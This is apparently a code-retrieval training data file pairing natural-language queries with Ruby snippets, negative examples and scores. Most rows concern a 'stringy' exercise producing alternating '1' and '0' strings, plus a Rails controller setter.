chrm_dat_saved = img_saved.ancillary_chunks[:cHRM][0].get_data\n\n assert_equal chrm_dat, chrm_dat_saved\n\n end", "def boilerplate ingestor\n\n @pid = ingestor.pid\n\n @mods.add_iid_identifier @iid if @mods.iids.empty? # we do sanity checking and setup the @iid elsewhere\n @mods.add_islandora_identifier ingestor.pid\n @mods.add_flvc_extension_elements @manifest\n\n if @mods.type_of_resource.empty?\n @mods.add_type_of_resource @mods_type_of_resource\n end\n\n @mods.post_process_cleanup # creates purl if necessary, must be done after iid inserted into MODS\n raise PackageError, \"Invalid MODS file\" unless @mods.valid?\n\n ingestor.label = @label\n ingestor.owner = @owner\n ingestor.content_model = @content_model\n ingestor.collections = @collections\n ingestor.dc = @mods.to_dc\n ingestor.mods = @mods.to_s\n\n if @marc\n ingestor.datastream('MARCXML') do |ds|\n ds.dsLabel = \"Archived MarcXML\"\n ds.content = @marc\n ds.mimeType = 'text/xml'\n end\n end\n\n if @manifest.embargo\n @drupal_db.add_embargo @pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n\n # set POLICY if there is only one collection with same namespace and POLICY datastream\n # if none or more than one collection, do not set POLICY\n\n if @inherited_policy_collection_id\n ingestor.datastream('POLICY') do |ds|\n ds.dsLabel = \"XACML Policy Stream\"\n ds.content = Utils.get_datastream_contents(@config, @inherited_policy_collection_id, 'POLICY')\n ds.mimeType = 'text/xml'\n ds.controlGroup = 'X'\n end\n end\n\n ingestor.datastream('RELS-EXT') do |ds|\n ds.dsLabel = 'Relationships'\n ds.content = rels_ext(ingestor.pid)\n ds.mimeType = 'application/rdf+xml'\n end\n end", "def add_chunk(type, pkey, fields = {})\n raise ArgumentError, \"Chunks can be added only if type is :patch\" unless @type.eql?(:patch)\n @chunks[pkey.to_yaml] = { :type => type, :pkey => pkey, :fields => fields}\n end", "def processing_instruction(data)\n end", "def arguments\n return \"MAIN-CHUNK ADDITIONAL-CHUNKS\", \"Chunk files to weave together.\"\n end", "def inside_chunks(chunk_types)\n chunk_types.each{|chunk_type| chunk_type.apply_to(self) }\n \n chunk_types.each{|chunk_type| @chunks_by_type[chunk_type].each{|hide_chunk|\n scan_chunkid(hide_chunk.text){|id| yield id }\n }\n } \n end", "def parse_chunk_EQDN stream\n parse_itemized_chunk stream, [\n {:name => :id},\n {:name => :domain, :encoding => :hex}\n ]\n end", "def to_bmet_csv_add_forgroups\n # A forgroup name has the format \"0101 - Pure Mathematics\"\n # or surprising, even the format \"0101\\n - Pure Mathematics\"\n # where \"0101\" is the forcode.\n @langs_in_db = Set.new\n @csv_info = {}\n forcode_regex = Regexp.new('^([\\d]+)([^\\d].*$|$)', Regexp::MULTILINE)\n\n @items_from_db.each{|item_id,db_hash|\n fields_in_db = Set.new\n fields_in_saf = Set.new\n field_values = {}\t\t# Field values for both DB & SAF\n\n db_hash[:fields].each{|f|\n forcode = f[:value].sub(forcode_regex, '\\1')\n fields_in_db << forcode\n field_values[forcode] = f[:value].gsub(/[\\s]+/, ' ')\t# Store value for this FOR code\n @langs_in_db << f[:lang]\n }\n\n @items_from_saf[item_id][:fields].each{|f|\n forcode = f[:value].sub(forcode_regex, '\\1')\n fields_in_saf << forcode\n field_values[forcode] = f[:value].gsub(/[\\s]+/, ' ')\t# Store/overwrite value for this FOR code\n }\n STDERR.printf(\"item_id=%s; item-hdl=%s; SAF-fields=%s; DB-fields=%s\", item_id, db_hash[:handle], fields_in_saf.inspect, fields_in_db.inspect) if DEBUG\n extra_fields = fields_in_saf - fields_in_db\t# Extra fields not already in DB\n\n if extra_fields.size > 0\n @csv_info[item_id] = {\n #:collection_handle => db_hash[:collection_handle],\n :new_field_values => (fields_in_db | extra_fields).inject(Set.new){|s,forcode| s << field_values[forcode]},\n :handle => db_hash[:handle],\n }\n STDERR.puts \"; DB-add #{extra_fields.inspect}\" if DEBUG\n else\n STDERR.puts \"; No updates\" if DEBUG\n end\n }\n build_csv\n end", "def type_specific_part_raw\n return @type_specific_part_raw unless @type_specific_part_raw.nil?\n @type_specific_part_raw = type_specific_part_raw_with_io.data\n @type_specific_part_raw\n end", "def pipelined\n yield\n end" ]
[ "0.6671021", "0.6671021", "0.6603519", "0.6285503", "0.62636757", "0.6160636", "0.60494447", "0.60108024", "0.59924805", "0.5938699", "0.58650154", "0.58187866", "0.57767785", "0.5699688", "0.55931973", "0.55931973", "0.55931973", "0.55931973", "0.55931973", "0.55931973", "0.55931973", "0.55931973", "0.5584068", "0.55763584", "0.55763584", "0.55763584", "0.5558416", "0.5533583", "0.5533583", "0.55315334", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5512989", "0.5397266", "0.5397266", "0.5358611", "0.5350188", "0.5342311", "0.5286551", "0.52706605", "0.52680707", "0.5239773", "0.5235716", "0.5235716", "0.5235504", "0.5229294", "0.52243954", "0.521582", "0.5205602", "0.51972115", "0.51972115", "0.5191392", "0.51854247", "0.51676196", "0.5143297", "0.5125866", "0.51240075", "0.51194584", "0.5096401", "0.50962114", "0.5095358", "0.5092752", "0.5086174", "0.50787205", "0.50699604", "0.5064872", "0.5064319", "0.5062212", "0.50593966", "0.5051631", "0.50466025", "0.504149", "0.50369465", "0.5036721", "0.50340754", "0.5033046", "0.503157", "0.50265145", "0.5023475", "0.5023393", "0.50198126", "0.50186795", "0.50140667", "0.5012326", "0.5009754", "0.50093275", "0.5005418", "0.5005231", "0.49991056", "0.49987555", "0.49907732", "0.4986928", "0.4979039" ]
0.0
-1
Argument: integer, num Side effects: None Return: String. Alterating 1's and 0's. A total of num 1's and 0's Edge cases: i/p: 0 Algorithm: str = '' Do the folllowing num times to index = 1, 2, 3, ..., num if index is odd str << '1' otherwise str << '0' Return str
def stringy(num) str = '' 1.upto(num) do |index| if index.odd? str << '1' else str << '0' end end str end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stringy(num)\n str = ''\n num.times do |indx|\n indx % 2 == 0 ? str += '1' : str += '0'\n end\n return str\nend", "def stringy(number)\n result = ''\n number.times do |idx|\n result << (idx.even? ? '1' : '0')\n end\n result\nend", "def stringy(num)\n (1..num).map { |idx| idx.odd? ? '1' : '0' }.join\nend", "def stringy(num, switch = 1)\n output = []\n if switch == 1\n num.times do |index|\n number = index.even? ? 1 : 0\n output << number\n end\n return output.join\n elsif switch == 0\n num.times do |index|\n number = index.even? ? 0 : 1\n output << number\n end\n return output.join\n end\nend", "def stringy(num)\n str = ''\n num.times do |i|\n str << '1' if i.even?\n str << '0' if i.odd?\n end\n str\nend", "def stringy(num, start_with=0)\n numbers = []\n\n num.times do |index|\n if start_with == 1\n number = index.even? ? 1 : 0\n numbers << number\n else \n number = index.even? ? 0 : 1\n numbers << number\n end \n end\n numbers.join\nend", "def stringy(number)\n result = ''\n number.times {|i| i.even? ? result << '1' : result << '0'}\n result\nend", "def stringy(num)\n arr = []\n\n num.times do |idx|\n digit = idx.odd? ? '0' : '1'\n arr << digit\n end\n\n arr.join\nend", "def stringy(num)\n zero_array = []\n one_array = []\n\n (num / 2).times do\n zero_array << 0\n one_array << 1\n end\n\n if num.odd?\n one_array << 1\n end\n\n one_array.zip(zero_array).flatten.join(\"\")\nend", "def stringy(num, option = 1)\n str = ''\n first_char = option.to_s\n second_char = (option == 1 ? '0' : '1')\n num.times { |ndx| str << (ndx.even? ? first_char : second_char) }\n str\nend", "def q7_1_and_0(num)\n str_out = ''\n num.times {|num_here|\n num_here.even? ? str_out += '1' : str_out += '0'\n }\n str_out\nend", "def stringy(number)\n stringy = []\n number.times do |index|\n n = index.even? ? 1 : 0\n stringy << n\n end\n stringy.join\nend", "def stringy(integer)\n numbers = []\n\n integer.times do |index|\n number = index.even? ? 1 : 0 # ternary operator if/then, number captures new value\n numbers << number\nend\n\n # numbers.join\nend", "def stringy(number)\n result = ''\n 1.upto(number) do |num|\n answer = num.odd? ? '1' : '0'\n result << answer\n end\n\n result\nend", "def stringy(num, b = 1)\n string = ''\n if b = 0\n num.times { |v| v.odd? ? string.concat('1') : string.concat('0') }\n return string\n else \n num.times { |v| v.odd? ? string.concat('0') : string.concat('1') }\n return string\n end \nend", "def stringy(number)\n string = \"\"\n number.times do |n|\n n.even? ? string << \"1\" : string << \"0\"\n end\n string\nend", "def stringy(integer)\n ones_and_zeroes = []\n\n integer.times do |index|\n number = index.even? ? 1 : 0\n ones_and_zeroes << number\n end\n\n ones_and_zeroes.join\nend", "def stringy(int)\n string = \"\"\n int.times do |x|\n x.even? ? string += \"1\" : string += \"0\"\n end\n string\nend", "def stringy2(int, *zero)\n str = ''\n if zero == [0] then str += '0' else str += '1' end\n int.times do |n|\n if n > 0\n array = str.chars\n if array[n - 1] == '0' then str += '1' else str += '0' end\n end\n end\n p str\nend", "def stringy(number)\n result = []\n\n number.times do |num|\n numbers = num.even? ? '1' : '0'\n result << numbers\n end\n \n result.join\nend", "def stringy(number, optional = 1)\n result = ''\n\n number.times do |num|\n if optional == 1\n result << ( numbers = num.even? ? '1' : '0' )\n else\n result << ( numbers = num.even? ? '0' : '1' )\n end\n end\n result\nend", "def stringy(number, optional = 1)\n result = ''\n number.times do |num|\n if optional # dont need the == 1 here, just optional.\n num.even? ? result << '1' : result << '0'\n else num.odd? ? result << '1' : result << '0'\n end\n end\n result\nend", "def stringy(num, val=1)\n str = ''\n if val == 1\n num.times do |x|\n str += \"1\" if x % 2 == 0\n str += \"0\" if x % 2 != 0\n end\n else\n num.times do |x|\n str += \"0\" if x % 2 == 0\n str += \"1\" if x % 2 != 0\n end\n end\n str\nend", "def stringy(num = 1)\n ones_zeros = []\n counter = 0\n \n loop do\n # break if num == 1\n if ones_zeros == []\n ones_zeros << 1\n end\n\n ones_zeros[counter] == 1 ? ones_zeros << 0 : ones_zeros << 1\n counter += 1\n break if counter == num -1\n end\n string_num = ones_zeros.join\nend", "def stringy(length)\n string = ''\n length.times do |index|\n number_str = index.even? ? '1' : '0'\n string << number_str\n end\n string\nend", "def stringy(size, switch = 1)\n numbers = []\n\n size.times do |index|\n number = index.even? ? 1 : 0 if switch == 1\n number = index.even? ? 0 : 1 if switch == 0\n numbers << number\n end\n numbers.join\nend", "def stringy(len)\n str = ''\n len.times do |n|\n n.even? ? str << '1' : str << '0'\n end\n str\nend", "def stringy(int, first_num = 1)\n first_num == 0 ? second_num = 1 : second_num = 0\n\n arr = Array(1..int)\n arr.map! { |n| n.odd? ? first_num : second_num }\n arr.join\nend", "def stringy(number)\n arr = []\n (1..number).each { |num| arr << num }\n\n string = \"\"\n arr.each do |num|\n string << \"0\" if num % 2 == 0\n string << \"1\" if num % 2 == 1\n end\n\n string\nend", "def stringy(int)\n stringy = \"\"\n odd = false\n int.times do\n if odd == true\n stringy << \"0\"\n odd = false\n else \n stringy << \"1\"\n odd = true\n end\n end\n return stringy\nend", "def stringy(int)\n str = ''\n int.times { |i| str += ((i + 1) % 2).to_s }\n str\nend", "def stringy(int)\n\ncounter = int\narr = []\n\n while counter > 0\n if !arr.empty? && counter % 2 ==0\n arr << 0\n elsif counter % 2 !=0 && arr.last != 1 || arr.empty?\n arr << 1\n else\n next\n end\n counter -= 1\n end\n arr.join()\nend", "def stringy(number, optional = 1)\n result = ''\n 1.upto(number) do |num|\n if optional == 1\n answer = num.odd? ? '1' : '0'\n result << answer\n else\n answer = num.even? ? '1' : '0'\n result << answer\n end\n end\n\n result\nend", "def stringy(number)\n result = []\n\n 1.upto(number) do |num|\n numbers = num.even? ? '0' : '1'\n result.push(numbers)\n end\n result.join\nend", "def stringy(int1, int2 = 1)\n numbers = []\n\n int1.times do |int| \n number = int.even? ? 0 : 1\n numbers << number\n end\n\n numbers.join\nend", "def stringy(int)\n new_string = \"\"\n (int / 2).times { new_string << \"10\" }\n new_string << \"1\" if int.odd? \n new_string\nend", "def stringy(num)\n str = ''\n char = '1'\n\n loop do\n str += char\n\n char = char == '1' ? '0' : '1'\n break if str.size == num\n end\n\n str\nend", "def stringy(number, optional = 1)\n result = '' # initialize empty string instead of array\n number.times do |num|\n if optional == 1\n numbers = num.even? ? '1' : '0' # initializing numbers variable to store results\n result << numbers\n else numbers = num.odd? ? '1' : '0'\n result << numbers\n end\n end\n result # no need for join here since this is a string, not an array.\nend", "def stringy(int, int1 = 1)\n if int && int1 != 0\n Array.new(int) { |i| i.even? ? '1' : '0' }.join\n elsif int1 == 0\n Array.new(int) { |i| i.even? ? '0' : '1' }.join\n end\nend", "def stringy2(size,opt1=1)\n numbers = []\n if opt1 == 0\n opt2 = 1\n else\n opt2 = 0\n end\n\n size.times do |index|\n number = index.even? ? opt1 : opt2\n numbers << number\n end\n\n numbers.join\nend", "def stringy2(length, start_with = 1)\n string = ''\n length.times do |index|\n index += 1 if start_with == 0\n number_str = index.even? ? '1' : '0'\n string << number_str\n end\n string\nend", "def stringy(num, start=1)\n string = '10' * (num/2)\n if start == 1\n num.even? ? string : string + '1'\n else\n num.even? ? string.reverse : string.reverse + '0'\n end\nend", "def stringy(size, option = 1)\n numbers = []\n\n size.times do |index|\n if option == 1\n number = index.even? ? 1 : 0\n numbers << number\n else\n number = index.even? ? 0 : 1\n numbers << number\n end\n end\n\n numbers.join\nend", "def stringy(pos_int)\n result = ''\n pos_int.times do |ind|\n ind%2 == 0 ? result<<'1' : result<<'0'\n end\n result\nend", "def stringy(number)\n digits = []\n counter = 0\n while counter < number do\n digits[counter] = counter.odd? ? 0 : 1\n counter += 1\n end\n digits.join\nend", "def stringy(number, start_with = 1)\n if start_with != 1 && start_with != 0\n puts 'Invalid value for start. Only 1 and 0 allowed'\n return\n end\n\n number_string = start_with.to_s\n iterations = number - 1\n\n iterations.times do |previous_number|\n number_string[previous_number] == '1' ? number_string << '0' : number_string << '1'\n end\n\n number_string\nend", "def stringy(num)\n string = '10' * (num/2)\n num.even? ? string : string + '1'\nend", "def stringy(integer)\n i = 1\n output = ''\n while i <= integer\n output += '1' if i.odd?\n output += '0' if i.even?\n i += 1\n end\n output\nend", "def stringy(size)\n numbers = []\n\n size.times do |index|\n number = index.even? ? 1 : 0\n numbers << number\n end\n\n numbers.join\nend", "def stringy(size)\n numbers = []\n\n size.times do |index|\n number = index.even? ? 1 : 0\n numbers << number\n end\n\n numbers.join\nend", "def stringy(size)\n numbers = []\n\n size.times do |index|\n number = index.even? 1 : 0\n numbers << number\n end\n\n numbers.join\nend", "def bi(i)\n string = []\n i.times do |n|\n if n.even?\n string << \"1\"\n else\n string << \"0\"\n end\n end\n string.join\nend", "def stringy(integer, optional = 1)\n return_string = ''\n if optional == 1\n integer.times { |idx| idx.even? ? return_string << '1' : return_string << '0' }\n elsif optional == 0\n integer.times { |idx| idx.even? ? return_string << '0' : return_string << '1' }\n end\n return_string\nend", "def stringy(number)\n number_range = (1..number)\n binary = []\n number_range.each do |num|\n if num % 2 == 1\n binary << 1\n elsif num % 2 == 0\n binary << 0\n end\n end\n binary.join(\"\")\nend", "def stringy(size, start = 1)\n numbers = []\n\n size.times do |index|\n if start = 1\n number = index.even? ? 1 : 0\n elsif start = 0\n number = index.even? ? 0 : 1\n end\n numbers << number\n end\n\n numbers.join\nend", "def stringy(number)\n string = \"\"\n counter = 0\n state = 0\n\n loop do\n if state == 0\n string << \"1\"\n state = 1\n else\n string << \"0\"\n state = 0\n end\n\n counter += 1\n\n break if counter == number\n end\n\n string\nend", "def stringy_string (int)\n true_var = true\n new_str = \"\"\n int.times do \n true_var ? new_str << '1' : new_str << '0'\n true_var = !true_var\n end\n new_str\nend", "def stringy(size, start=1)\n numbers = []\n\n size.times do |index|\n if start == 1\n number = index.even? ? 1 : 0\n numbers << number\n elsif start == 0\n number = index.odd? ? 1 : 0\n numbers << number\n end\n end\n\n numbers.join\nend", "def stringy(input)\n result = []\n counter = 0\n\n result << '1'\n \n until result.size == input\n result[counter] == '1'? result << '0' : result << '1'\n counter += 1\n end\n \n result.join('')\nend", "def stringy(size)\n i, string = 0, \"\"\n while i < size do\n string[-1] == \"1\" ? string << \"0\" : string << \"1\"\n i += 1\n end\n return string\nend", "def stringy(int)\n ones_and_zeros = []\n int.times do\n if ones_and_zeros.empty?\n ones_and_zeros << '1'\n elsif ones_and_zeros[-1] == '1'\n ones_and_zeros << '0'\n else\n ones_and_zeros << '1'\n end\n end\n ones_and_zeros.reduce(:+)\nend", "def stringy(int)\n (int/2).times { print 10 }\n 1 if int.odd?\nend", "def change a\n a = a.downcase\n end_string = ''\n ('a'..'z').each { |let| a.include?(let) ? end_string << '1' : end_string << '0' }\n end_string\nend", "def increment_string(input)\n nums = \"0123456789\"\n return input + \"1\" if input == \"\" || !nums.include?(input[-1]) \n end_zero = -1 \n end_nine = -1\n \n if input[end_zero] == \"0\"\n num_all_zero = true\n while num_all_zero\n num_all_zero = false\n end_zero -= 1\n if !nums.include?(input[end_zero])\n input[-1] = \"1\"\n return input\n elsif input[end_zero] == \"0\"\n puts \"zero\"\n num_all_zero = true\n end\n end\n end\n \n if input[end_nine] == \"9\"\n num_all_nine = true\n while num_all_nine\n num_all_nine = false\n input[end_nine] = \"0\"\n end_nine -= 1\n if input[end_nine] == \"9\"\n num_all_nine = true\n next\n elsif !nums.include?(input[end_nine]) \n return input[0..end_nine] + \"1\" + input[end_nine + 1..-1]\n end \n input[end_nine..end_nine + 1] = (input[end_nine].to_i + 1).to_s + \"0\"\n return input\n end\n end\n\n input.succ\nend", "def alternate string, num\n range = ('a'..'z').to_a.rotate(num)\n working = string.split(//)\n working.map! do |x|\n x = range[('a'..'z').to_a.index(x)]\n end.join\n \n \n\nend", "def stringy(num)\n binary = ''\n loop do\n binary << '1'\n break if binary.length == num\n binary << '0'\n break if binary.length == num\n end\n binary\nend", "def stringy(num, start = 1)\n return 'Positive integer only' unless num.is_a?(Integer) && num > 0\n return 'Invalid starting number' unless start == 1 || start == 0\n\n string = ''\n num.times do\n string << start.to_s\n start = 1 - start\n end\n string\nend", "def stringy number, count = 1\n binary_string = ''\n\n if count == 1\n (number / 2).times {binary_string << '10'}\n binary_string << '1' if number % 2 == 1\n elsif count == 0\n (number / 2).times {binary_string << '01'}\n binary_string << '0' if number % 2 == 1\n end\n\n binary_string\n end", "def stringy(num, bit = 1)\n bin_arr = []\n num.times { |n| n.even? ? bin_arr << (0 + bit) : bin_arr << (1 - bit) }\n bin_arr.join\nend", "def stringy(size, digit = 1)\n words = []\n size.times do\n words << digit\n digit = digit == 1 ? 0 : 1\n end\n words.join\nend", "def dasherize_number(num)\n\n index = 0\n \n num_string = num.to_s\n new_string = ''\n \n while index < num_string.length\n # Simplify your checks for odd and evenness here. \n # You are checking for so many things which makes the code messy.\n # Just divide the number using modulo you don't need to check for index\n \n if num_string[index].to_i.even? \n new_string += num_string[index].to_s \n elsif num_string[index].to_i.odd? \n new_string = \"-\" + num_string[index].to_s + \"-\"\n end\n \n index = index + 1\n end\n puts new_string\nend", "def stringy_options(size, beginning=1)\n numbers = ''\n size.times do |index|\n if beginning == 1\n index.even? ? numbers << '1' : numbers << '0'\n else\n index.even? ? numbers << '0' : numbers << '1'\n end\n end\n numbers\nend", "def toggle_lights(n)\n multipled_substring = []\n\n (1..n).each do |count|\n multiplier = 1\n\n loop do\n product = count * multiplier\n break if product > n\n multipled_substring << product\n multiplier += 1\n end\n end\n #multipled_substring\n\n final_result = []\n (1..n).each do |number|\n times_of_toggle = multipled_substring.count(number)\n \n final_result << number if times_of_toggle.odd?\n end\n p final_result\nend", "def newman_conway(num)\n raise ArgumentError, \"Number must be larger than 0\" if num < 1 \n \n result = []\n num.times do |i|\n if i < 2\n result << 1\n else\n last_char = result[i - 1]\n result[i] = result[last_char - 1] + result[i - last_char]\n end\n end\n return result.join(\" \")\nend", "def stringy(length)\n count = 0\n stringy_string = ''\n while count < length\n if count % 2 == 0\n stringy_string << '1'\n else\n stringy_string << '0'\n end\n count += 1\n end\n stringy_string\nend", "def stringy(int)\n arr_digits = (1..int).to_a\n arr10 = []\n arr_digits.each do |num|\n num % 2 == 1 ? arr10 << 1 : arr10 << 0\n end\n arr10.join\nend", "def stringy(input_integer)\n chunks = [] # => [], [], [], []\n (input_integer/2).times do # => 3, 4, 2, 3\n chunks << '10' # => [\"10\"], [\"10\", \"10\"], [\"10\", \"10\", \"10\"], [\"10\"], [\"10\", \"10\"], [\"10\", \"10\", \"10\"], [\"10\", \"10\", \"10\", \"10\"], [\"10\"], [\"10\", \"10\"], [\"10\"], [\"10\", \"10\"], [\"10\", \"10\", \"10\"]\n end # => 3, 4, 2, 3\n\n if input_integer.even? # => true, false, true, false\n chunks.join('') # => \"101010\", \"1010\"\n else\n chunks.join('') + '1' # => \"101010101\", \"1010101\"\n end # => \"101010\", \"101010101\", \"1010\", \"1010101\"\nend", "def staircase(n)\r\n # Write your code here\r\n empty = \" \"\r\n value = \"#\"\r\n n.times do |num|\r\n \tnumber = num + 1\r\n first = empty*(n-number).abs\r\n second = value*number\r\n puts first+second\r\n end\r\nend", "def Dragon n\n return '' unless n.is_a?(Integer) && n >= 0 \n\n string = 'Fa'\n n.times do\n string = string.gsub(/[ab]/, 'a' => 'aRbFR', 'b' => 'LFaLb') \n end\n string.gsub(/[ab]/, '')\nend", "def binary(num)\n result = []\n\n until num == 0\n result.unshift(num % 2)\n num /= 2\n end\n\n result.empty? ? \"0\" : result.join\nend", "def DashInsertII(num)\n\n # code goes here\n str = num.to_s.chars.to_a\n str.each_index do |i|\n next if i == 0\n if str[i] && str[i-1] =~ /\\d+/\n if str[i-1].to_i.even? && str[i].to_i.even?\n str.insert(i,'*')\n elsif str[i-1].to_i.odd? && str[i].to_i.odd?\n str.insert(i,'-')\n end\n end\n end\n return str.join\n \nend", "def number_counting_seq(n)\n count = 0\n result = ''\n while count < n\n if count == 0\n result = '1'\n else\n result = translate(result)\n end\n count += 1\n end\n result\nend", "def increment_string(input)\n # snum = input.slice(/\\d+$/).to_s\n # num = (snum.to_i + 1)\n # \"#{input.split(/\\d+$/).first}#{num.to_s.rjust(snum.length, '0')}\"\n input.sub(/\\d*$/) {|d| d.empty? ? 1 : d.succ }\nend", "def s1 num\n\tnum % 2\nend", "def stringy_hightech(num, zero_start=1)\n half, remainder = num.divmod 2\n\n case zero_start\n when 0 then '01' * half + '0' * remainder\n when 1 then '10' * half + '1' * remainder\n end\nend", "def look_and_say(n)\n prev = \"1\"\n curr = \"\"\n\n while(n > 1)\n i = 0\n\n while(i < prev.length)\n\n char = prev[i]\n count = count_digits(i, prev)\n i += count\n\n curr << count.to_s << char\n end\n\n prev = curr.dup\n curr = \"\"\n n -= 1\n end\n\n prev\nend", "def DashInsert(num)\n\n # step1: convert the integer to a string\n # step2: determine whether a number is odd or not and grab index \n # step3: insert a dash after it \n\n num.scan(/[13597]{2}|.+/).join(\"-\")\n # num_arr = num.to_s\n # num_arr.each_char do |n|\n # \tif n % 3 = 0 \n # \t\tstr.insert(i+1, '-')\n # \tend\n # end\n # code goes here \n \nend", "def fake_bin(s)\n nums = s.split('')\n outcome = nums.map do |num|\n if num.to_i >= 5\n num = 1\n else\n num = 0\n end\n end\n outcome.join()\nend", "def repeat_string(str, i)\n return \"\" if (i <= 0)\n return str if (i == 1)\n d = repeat_string(str, i >> 1)\n d += d\n d += str if (i & 1)\n return d\n end", "def a(str)\n case\n when str == \"0\"\n return \"\"\n when str == \"1\"\n return 'one'\n when str == \"2\"\n return 'two'\n when str == \"3\"\n return 'three'\n when str == \"4\"\n return 'four'\n when str == \"5\"\n return 'five'\n when str == \"6\"\n return 'six'\n when str == \"7\"\n return 'seven'\n when str == \"8\"\n return 'eight'\n when str == \"9\"\n return 'nine'\n end\nend", "def increment_string(input)\nn = input.size\n i = n - 1\n numbers = '0'..'9'\n while i >= 0\n if !numbers.include?(input[i])\n break\n end\n i -= 1\n end\n numbers_size = input[i + 1..-1].size\n last_numbers = input[i + 1..-1].to_i + 1\n string = i == -1 ? '' : input[0..i]\n [string, \"%.#{numbers_size}d\" % last_numbers].join\nend", "def increment_string(input)\n return '1' if input.empty?\n \n arr = input.rpartition(/\\D/)\n\n if arr[-1].empty?\n arr[-1] = '1'\n else\n arr[-1] = arr[-1].succ\n end\n\n return arr.join\nend", "def newman_conway(num)\n output_array = []\n if num == 0\n raise ArgumentError\n elsif num == 1\n return \"1\"\n elsif num == 2\n return \"1 1\"\n else\n output_array = [0, 1, 1]\n i = 3\n while i <= num\n output_array.push(output_array[output_array[i - 1]] + output_array[i - output_array[i - 1]])\n i += 1\n end\n end\n\n output_string = \"1\"\n output_array[2..-1].each do |num|\n output_string += \" #{num}\"\n end\n\n return output_string\nend", "def staircase(n)\n str = ' ' * n \n 1.upto(n) do |i|\n str[-i] = '#'\n puts str\n end \n\nend", "def newman_conway(num)\n raise ArgumentError if num <= 0\n f = []\n\n if num == 1\n return \"1\"\n elsif num == 2\n return \"1 1\"\n else \n f = [0,1,1]\n i = 3 \n\n while i <= num \n f << f[f[i - 1]] + f[i - f[i - 1]]\n i += 1\n end\n \n string_results = \"\"\n iteration = 0\n f = f[1..-1]\n\n f.each do |result|\n iteration +=1\n if f.length == iteration\n string_results += \"#{result}\"\n else\n string_results += \"#{result}\" + \" \"\n end\n end\n return string_results\n end\nend", "def gen_numstr(seeds, length)\n ((length/2) + 1).times.map{\n seeds.sample.to_s.rjust(2, \"0\")\n }.join[0..length-1]\nend", "def dash_insert_ii(str)\n result = ''\n str.each_char.with_index do |char, idx|\n result << char\n next if char == '0' || idx >= str.size - 1 || str[idx + 1] == '0'\n if char.to_i.even? && str[idx + 1].to_i.even?\n result << '*'\n elsif char.to_i.odd? && str[idx + 1].to_i.odd?\n result << '-'\n end\n end\n result\nend", "def repeater(string)\n doubled_str = ''\n string.size.times do |i|\n doubled_str << string[i] * 2\n end\n doubled_str\nend", "def array_translate(array)\n # can be done in a single loop\n # grab two elements at a time, using a while loop\n # add string to the return string the specified number of times\n translated_str = \"\"\n i = 0\n while i < array.length\n str = array[i]\n num = array[i + 1]\n num.times do |useless|\n translated_str += str\n end\n # translated_str += str * num #<= also works (in Ruby)\n i += 2\n end\n return translated_str\nend", "def solution(value)\n answer = \"\"\n number_string = value.to_s\n ( 5 - number_string.length).times do\n answer += \"0\"\n end\n answer = answer + number_string\n \"Value is #{answer}\"\nend" ]
[ "0.8219545", "0.8055982", "0.8000005", "0.78760594", "0.78541046", "0.7704706", "0.76879984", "0.76773953", "0.7644177", "0.7641257", "0.76312363", "0.76232964", "0.76101303", "0.7602515", "0.7578583", "0.7576514", "0.7554433", "0.75305223", "0.7511593", "0.74953", "0.7494292", "0.7471999", "0.74360186", "0.7423407", "0.7417776", "0.7399285", "0.7398741", "0.7388491", "0.73848486", "0.7364535", "0.7340123", "0.73296934", "0.73270977", "0.731437", "0.7295732", "0.72679985", "0.72650623", "0.725857", "0.7249156", "0.7230605", "0.7230032", "0.72209466", "0.72168535", "0.72120315", "0.7187376", "0.71759576", "0.7174787", "0.7163599", "0.71527785", "0.71527785", "0.7126162", "0.70696044", "0.70084786", "0.6984841", "0.69795865", "0.6904605", "0.68974906", "0.689197", "0.6865717", "0.6799753", "0.6726626", "0.67006254", "0.6696381", "0.6690505", "0.66724646", "0.6630956", "0.662447", "0.66190064", "0.6553519", "0.6513992", "0.64809054", "0.64795125", "0.64704746", "0.646993", "0.6436011", "0.6399314", "0.638088", "0.63236916", "0.6305793", "0.63001454", "0.62840456", "0.6273785", "0.6240641", "0.62399405", "0.62321645", "0.6224028", "0.6223791", "0.6210761", "0.61949307", "0.6190188", "0.6169701", "0.6163309", "0.6154859", "0.6128101", "0.6125629", "0.61120176", "0.60806334", "0.60596526", "0.60590154", "0.6053841" ]
0.8182242
1
Use callbacks to share common setup or constraints between actions.
def set_followed @followed = Customer.find(params[:followed_id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n 